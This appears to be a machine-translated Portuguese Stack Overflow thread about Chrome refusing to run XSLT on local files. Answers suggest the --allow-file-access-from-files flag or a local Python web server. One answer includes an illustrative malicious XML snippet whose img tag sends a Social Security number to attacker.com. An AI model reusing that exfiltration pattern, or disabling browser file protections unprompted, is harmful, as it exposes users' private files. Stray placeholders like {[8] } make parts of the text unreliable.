O Chrome pode ser feito para realizar uma transformação XSL num ficheiro local?

estava a investigar o xslt e comecei a testar com os exemplos do w3schools.

No entanto, quando eu gravar o xml e o xsl em ficheiros e tentar abri-los localmente, o chrome não irá executar a transformação xsl. Só mostra uma página em branco.

adicionei a etiqueta {[[0]} ao documento xml, e o firefox torna-a como deve ser. Além disso, se eu olhar para os arquivos através de um servidor web, chrome exibe o arquivo como é suposto olhar.

É que o cromado tem um problema? encontrar a informação da folha de estilo quando o link é local? Mudar o href para file:///C:/xsl/style.xsl não fez qualquer diferença.

Update: Este parece ser um efeito secundário de uma política de segurança para não tratar o ficheiro://* como a mesma origem. isto faz com que o seguinte erro apareça na consola:

não é Seguro tentar carregar o ficheiro URL:/ / c: / xsl-rpg / style.xsl from frame with URL file://C: / xsl-rpg / data.xml. Domínios, protocolos e portos devem corresponder.

Author: nwellnhof, 2010-09-30

5 answers

A resposta curta é "não, use um dos diversos conjuntos de navegadores lá fora" .

O motivo de isso não funcionar, é devido a uma preocupação de segurança que o google Chrome tem abordado em um controverso forma[1][2][3][4], através do bloqueio de ficheiros XML a partir de aceder ao local XSLT arquivos no mesmo diretório, enquanto os arquivos HTML podem acessar .Arquivos CSS no mesmo diretório muito bem.

Em todas as questões acima citadas, os utilizadores têm pediu uma mensagem de erro mais clara (uma vez que os domínios, protocolos e portos correspondem de fato), ou pelo menos exibindo o XML sem o estilo. Os programadores do Chrome ignoraram estes pedidos.

 55
Author: Zaz, 2013-12-25 04:18:52

Pode fazer isto localmente, usando as opções da linha de comandos do Chrome.

A bandeira específica é --allow-file-access-from-files

Em OS X: do Terminal.execução da aplicação/Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

No Windows: a partir da linha de comandos executar %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Nota: provavelmente terá de sair do Chrome se estiver a correr de momento de outro modo Ch

 48
Author: Jake Burton, 2015-10-27 18:28:08

Se você quiser ficar com o OP, a resposta é não (como outros apontaram), mas uma maneira de corrigir o problema é executar um servidor web simples e abrir arquivos através de http no chrome. Se tiver python 2.X instalado, poderá executar um servidor web escrevendo:

python -m SimpleHTTPServer

Ou no python 3.x:

python3 -m http.server

E depois abrir o ficheiro usando http://localhost:8000/yourfile.xml no chrome. Espero que você só quer obter o seu trabalho feito e não é uma coisa crucial para ter que abrir arquivo usando file://

 8
Author: morpheus, 2017-02-26 21:39:14

Foi preciso decifrar um pouco na página de Bug Chrome - eles estão muito interessados em não explicar qual é o problema, e por que eles escolheram quebrar todos em vez de não quebrar todos.

Assume que tenho um ficheiro XML - algures - no meu disco rígido, por exemplo:

C:\Users\Ian\Documents\Taxes\StudioTaxReturn_2015.xml

E uma entidade maliciosa - de alguma forma - conseguiu largar um ficheiro Xml malicioso no meu computador, por exemplo:

C:\Users\Ian\AppData\LocalLow\Temp\TrojanVirusWorm.xml

Imagina O TrojanVirusWorm.xml contém uma instrução de processamento de 'stylesheet' ( IP):
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

O atacante dá instruções ao meu navegador para navegar para o ficheiro trojanVirusWorm.xml gravado localmente.

Aparentemente existe uma forma de um ficheiro XML poder ler {[8] } o conteúdo do ficheiro XSD (em vez de ser transformado pelo ficheiro XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Não entendo como um ficheiro XML pode ler um ficheiro de 'stylesheet'. Mas a equipa cromada assegura-nos que é um perigo, e que não pode ser resolvido.

Todos os outros navegadores o resolveram. Resolveram - no porque não é um problema.

 2
Author: Ian Boyd, 2015-12-23 16:32:23

O meu trabalho é ver um xml de acordo com um ficheiro xsl

Suponha que temos um ficheiro.xml com cabeçalhos:
<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. descarregamos o ficheiro {[1] } e colocamo-lo ao lado do some_file.xml
  2. mudar parte do nosso cabeçalho de href="https://some-site.com/Common.xsl" para href="http://localhost:8001/Common.xsl"
  3. corre no directório com os nossos ficheiros - python3 -m http.server 8001
  4. abrir em qualquer navegador http://localhost:8001/some_file.xml
 1
Author: Greg Eremeev, 2018-06-27 11:52:26